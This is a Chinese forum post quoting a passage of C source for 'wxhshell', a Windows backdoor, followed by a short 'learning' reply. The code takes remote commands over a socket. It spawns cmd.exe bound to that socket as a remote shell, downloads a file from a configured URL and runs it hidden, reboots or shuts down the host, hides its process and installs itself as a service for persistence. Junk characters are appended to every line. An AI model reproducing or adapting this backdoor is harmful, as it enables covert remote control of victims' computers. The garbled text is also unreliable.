  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "=9)|{=m  
  if(DownloadFile(cmd,wsh)) @z(s\T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vslN([@JR  
  else iIg99c7/&9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?yvjX90  
  } [2zS@p  
  else { Y!CGuLHL`[  
})ic@ Mmd$  
    switch(cmd[0]) { $ ?YSAD1  
  ':T6m=yv  
  // 帮助 TfFH!1^+  
  case '?': { %>:d5"&Lbs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9 N@N U:M+  
    break; ZRoOdo94  
  } 1;[ZkRbzL  
  // 安装 4m/L5W:K  
  case 'i': { ZN(@M@}  
    if(Install()) I~7eu&QZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &?yVLft  
    else irzWk3@:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o!|TCwt  
    break; n6 AP6PK7  
    } b/'RJQSAc  
  // 卸载 VW\~OH  
  case 'r': { /;r k-I  
    if(Uninstall()) Vu1X@@z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wqf^n-Ze  
    else sVT\e*4m}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kj*:G!r0.:  
    break; %%k`+nK~  
    } o2NU~Ub  
  // 显示 wxhshell 所在路径 E3o J;E  
  case 'p': { z T#j.v  
    char svExeFile[MAX_PATH]; rfc;   
    strcpy(svExeFile,"\n\r"); !4!Y~7sI"\  
      strcat(svExeFile,ExeFile); \Y}nehxG@  
        send(wsh,svExeFile,strlen(svExeFile),0); nHmi%R7k  
    break; RU GhhK  
    } Ptv=Bwg  
  // 重启 28PT1 9&  
  case 'b': { AP_2.V=Sn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9\W }p\c  
    if(Boot(REBOOT)) a$'= a09  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EX^j^#N  
    else { @K.[;-;g  
    closesocket(wsh); M\ {W&o1!  
    ExitThread(0); c{s%kVOzg  
    } bcZ s+FOPd  
    break; A{b?ZT~2]  
    } D<*#. >  
  // 关机 66l$}+|Zzc  
  case 'd': { B*j AD2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2x&mJ}o#k  
    if(Boot(SHUTDOWN)) QBfsdu<@^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Ijjk`d&c  
    else { (E(kw="  
    closesocket(wsh); dD0:K3@  
    ExitThread(0); )6:nJ"j#  
    } g{?]a'?  
    break; ] 6rr;S  
    } y9L:2f\  
  // 获取shell r(QjVLjj`k  
  case 's': { rN%aP-sa<  
    CmdShell(wsh); :svRn9_8H  
    closesocket(wsh); 5n'C6q "  
    ExitThread(0); m;d#*}n\p  
    break; 7'9~Kx&+  
  } /`V:;  
  // 退出 6Q.6  
  case 'x': { AHre#$`97  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L0O},O  
    CloseIt(wsh); -Am ~CM  
    break; ]MXeWS(  
    } Z6I^HG{:  
  // 离开 bl;C=n  
  case 'q': { ngoAFb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e$+?l~  
    closesocket(wsh); O0i[GCtP5  
    WSACleanup(); %XieKL  
    exit(1); G&/RJLX|w  
    break; l|P(S(ikh  
        } HO(9 )sK  
  } U^$o< 2  
  } $pm5G} .  
Z@I.socA  
  // 提示信息 T};fy+iq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f._FwD  
} n-7|{1U  
  } ,!?&LdPt>  
k )T;WCia  
  return; h)qapC5z,  
} sKT GZA  
)0I;+9:D=  
// shell模块句柄 mw1|>*X&R  
int CmdShell(SOCKET sock) kU5chltGF  
{ <ZV !fn  
STARTUPINFO si; :3# t;  
ZeroMemory(&si,sizeof(si)); \)pT+QxZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H1FSN6'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v<z%\`y  
PROCESS_INFORMATION ProcessInfo; A9[ELD>p  
char cmdline[]="cmd"; x;cjl6Acm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x\m !3  
  return 0; Nn],sEs  
} d?)C} 2  
SqhG\qE{Qj  
// 自身启动模式 u^T{sQ"_  
int StartFromService(void) OJUH".o  
{ )o<rU[oD]C  
typedef struct :N<ZO`l?  
{ 7Xu.z9y  
  DWORD ExitStatus; )r#^{{6[v  
  DWORD PebBaseAddress; dM{xPpnx  
  DWORD AffinityMask; ~97T0{E3  
  DWORD BasePriority; T _O|gU  
  ULONG UniqueProcessId; 8Ilg[Drj*  
  ULONG InheritedFromUniqueProcessId; iv*Ft.1t  
}   PROCESS_BASIC_INFORMATION; sILkTzs w  
S/? KC^JP  
PROCNTQSIP NtQueryInformationProcess; u[_~ !y  
b NBpt}$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V3'QA1$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h-Q3q:  
=Zcbfo_&  
  HANDLE             hProcess; $4\,a^  
  PROCESS_BASIC_INFORMATION pbi; ]C =+  
q1Vh]d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i6p0(OS&D  
  if(NULL == hInst ) return 0; -o\r]24  
FL+^r6DQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .FS`Fh;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vt3yCS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w6M EY"<L  
G(-1"7  
  if (!NtQueryInformationProcess) return 0; *5bKJgwJ  
&>I4-D[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 777N0,o(  
  if(!hProcess) return 0; /XG4O  
iD)R*vnAi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^@'LF T)  
oW*e6"<R7  
  CloseHandle(hProcess); jjgjeY  
w1-/U+0o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -,t2D/xK  
if(hProcess==NULL) return 0; |@]`" k  
}%B^Vl%ZZ  
HMODULE hMod; ~G!>2 +L  
char procName[255]; F^Yt\V~T  
unsigned long cbNeeded; UC)-Fd  
T&Y?IE}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3_JxpQg  
E"e<9  
  CloseHandle(hProcess); $= /.oh  
5+<<:5_6l  
if(strstr(procName,"services")) return 1; // 以服务启动 Zb)j2Xgl  
[]D@"Bz  
  return 0; // 注册表启动 $okGqu8z.O  
} "=0#pH1o  
Y4Hi<JWo  
// 主模块 n%lY7.z8d  
int StartWxhshell(LPSTR lpCmdLine) sEj?,1jk  
{ b$kCyOg  
  SOCKET wsl; ?d)I!x,;;  
BOOL val=TRUE; J+3PUfg>@R  
  int port=0; =6Dz<Lq  
  struct sockaddr_in door; Z[Gs/D  
E"D+CD0  
  if(wscfg.ws_autoins) Install(); Sq,ZzMw  
4@D 8{?$~Q  
port=atoi(lpCmdLine); N-fGc?E  
\e%H5W x  
if(port<=0) port=wscfg.ws_port; P%hi*0pwZ  
v:c_q]z#B  
  WSADATA data; hm=E~wv'L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;6g&_6  
<QGf9{m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O mkl|l9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wV- kB4^4  
  door.sin_family = AF_INET; &BnK[Q8X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F.)b`:g  
  door.sin_port = htons(port); 6$qn'K$  
SqL8MKN)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5`oVyxJ<  
closesocket(wsl); }R#YO$J7  
return 1; a $pxt!6  
} {FO>^~>l  
|tC`rzo  
  if(listen(wsl,2) == INVALID_SOCKET) { _{z.Tu  
closesocket(wsl); )BR6?C3  
return 1; =p9d4smbn  
} xy>~ 15  
  Wxhshell(wsl); Ur`Ri?  
  WSACleanup(); @#q>(Ox%  
|A".Mo_5  
return 0; ViqcJD  
.,t"i C:E  
} bq5tEn  
H"8fnN=xB  
// 以NT服务方式启动 qy1$(3t$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q.6$-w  
{ @}:}7R6  
DWORD   status = 0; nd(O;XBI  
  DWORD   specificError = 0xfffffff; Ay'2! K,I  
u(B0X=B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *k:Sg*neVq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RX.n7Tb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; trL:qD+{(  
  serviceStatus.dwWin32ExitCode     = 0; UTw f!  
  serviceStatus.dwServiceSpecificExitCode = 0; SsiKuoxk  
  serviceStatus.dwCheckPoint       = 0; =}txcA+  
  serviceStatus.dwWaitHint       = 0; juPW!u  
 PDaD:}9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g6:S"Em  
  if (hServiceStatusHandle==0) return; G"3)\FEM  
Z)cGe1?q  
status = GetLastError(); gR)T(%W  
  if (status!=NO_ERROR) YNCQPN\v`1  
{ FBpf_=(_1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Nq|b$S[4  
    serviceStatus.dwCheckPoint       = 0; <$)F_R~T3  
    serviceStatus.dwWaitHint       = 0; z mvF#o  
    serviceStatus.dwWin32ExitCode     = status; .Ua|KKK C  
    serviceStatus.dwServiceSpecificExitCode = specificError; )h-Qi#{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N:Yjz^Jt  
    return; {e4`D1B  
  } :4]^PB@dl  
8 ;oU{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '1]Iu@?  
  serviceStatus.dwCheckPoint       = 0; JiL%1y9|  
  serviceStatus.dwWaitHint       = 0; Pl4$`Qw#y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OM,-:H,  
} B>, O@og  
CO!K[ q#  
// 处理NT服务事件,比如:启动、停止 k^-HY[Q9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jRP.Je@t  
{ EAYx+zI  
switch(fdwControl) j #e^PK <  
{ I_s4Pf[l  
case SERVICE_CONTROL_STOP: x}I'W?g  
  serviceStatus.dwWin32ExitCode = 0; .c~`{j}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z'EX q.hk  
  serviceStatus.dwCheckPoint   = 0; d6ZJh xJ  
  serviceStatus.dwWaitHint     = 0; iXpLcHi  
  { .0^-a=/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >D'Kt?L<]m  
  } o.-rdP0P>  
  return; GmoY~}cg~  
case SERVICE_CONTROL_PAUSE: "|&xUWJ!)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gz)]1Z{%$  
  break; Ym~*5|  
case SERVICE_CONTROL_CONTINUE: KF&1Y>t=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .iFd  
  break; |7XV! D!\g  
case SERVICE_CONTROL_INTERROGATE: 3#7D g't  
  break; w@U`@})r.  
}; };%l <Ui;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FFGG6r  
} 5yO %|)  
NsYeg&>`  
// 标准应用程序主函数 v^_OX $=,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iT#)i3   
{ C"w>U   
)r _zM~jI  
// 获取操作系统版本 p:]kH  
OsIsNt=GetOsVer(); "]|I;I"b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ao>`[-  
GrWzgO  
  // 从命令行安装 FL -yt  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0mj^Tms  
Y'6GY*dL  
  // 下载执行文件 /8 /2#`3R  
if(wscfg.ws_downexe) { ptXCM[Z+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .<8kDyi m  
  WinExec(wscfg.ws_filenam,SW_HIDE); V6%J9+DK  
} Z3Le?cMt^  
|1vi kG8  
if(!OsIsNt) { ^b-o  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zr`pOUk!4  
HideProc(); D&KD5_Sw  
StartWxhshell(lpCmdLine); iYE:o{  
} 9(`d h  
else i^LLKx7M&  
  if(StartFromService()) kI5`[\  
  // 以服务方式启动 Y{~[N yE  
  StartServiceCtrlDispatcher(DispatchTable); 78't"2>  
else ^Y"c1f2  
  // 普通方式启动 `em}vdY  
  StartWxhshell(lpCmdLine); a!ao{8#  
QAiont ,!  
return 0; -A}U^-'a}  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五